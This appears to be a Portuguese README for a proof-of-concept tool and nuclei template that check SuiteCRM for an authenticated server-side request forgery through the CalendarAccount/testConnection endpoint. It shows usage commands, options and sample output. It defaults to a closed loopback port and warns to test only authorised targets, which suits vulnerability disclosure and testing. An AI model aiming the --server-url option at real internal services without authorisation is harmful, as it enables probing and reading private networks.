
SuiteCRM <= 7.15.1, <= 8.10.1 - SSRF Autenticado
Prova de conceito de server-side request forgery autenticado para o SuiteCRM através do endpoint CalendarAccount/testConnection e do provedor caldav_basic.
As versões afetadas do SuiteCRM aceitam o server_url de um usuário autenticado e o repassam ao cURL sem validar o destino. Isso possibilita requisições do lado do servidor para serviços HTTP de loopback ou internos. Em versões vulneráveis, uma resposta de conexão falha também pode divulgar os dados de resposta do serviço consultado na mensagem de erro.
O PoC autentica-se com uma conta válida do SuiteCRM e requisita uma URL controlada. Seu destino padrão, http://127.0.0.1:1/, é uma porta de loopback fechada: ele comprova que o SuiteCRM tentou a conexão do lado do servidor sem requisitar um serviço externo.
--server-urlNenhum pacote Python de terceiros é necessário.
Validação local básica contra o SuiteCRM:
python3 CVE-2026-69137.py \
-u http://127.0.0.1:8081 \
-U admin \
-P 'password'
Usar uma sessão autenticada existente:
python3 CVE-2026-69137.py \
-u https://suitecrm.example \
--cookie 'PHPSESSID=value'
Testar um destino interno ou controlado e autorizado:
python3 CVE-2026-69137.py \
-u https://suitecrm.example \
-U user \
-P 'password' \
--server-url http://127.0.0.1:8080/
-u, --url URL base do SuiteCRM
-U, --username Nome de usuário do SuiteCRM
-P, --password Senha do SuiteCRM
--cookie Valor do cabeçalho Cookie autenticado do SuiteCRM
--server-url URL consultada pelo SuiteCRM; padrão: http://127.0.0.1:1/
--timeout Timeout HTTP em segundos; padrão: 35
-k, --insecure Desabilita a verificação do certificado TLS
Versões vulneráveis retornam uma falha no teste de conexão após processar a URL fornecida:
[*] Authenticating with SuiteCRM legacy login...
[*] Sending testConnection request with server_url=http://127.0.0.1:1/
[!] Vulnerable behavior confirmed: SuiteCRM processed the supplied server_url.
Server message: Connection test failed. Network error: Failed to connect to 127.0.0.1 port 1 ...
Versões corrigidas rejeitam destinos não permitidos antes de tentar a conexão:
[+] Target rejected the supplied URL; the SSRF fix appears to be present.
CVE-2026-69137.yaml autentica-se com username e password, reutiliza a sessão do SuiteCRM e executa a mesma sondagem de loopback fechado:
nuclei -u https://suitecrm.example \
-t CVE-2026-69137.yaml \
-var username=user \
-var password='password'
O template foi validado com:
nuclei -validate -t CVE-2026-69137.yaml
--server-url apenas contra destinos que você está autorizado a testar.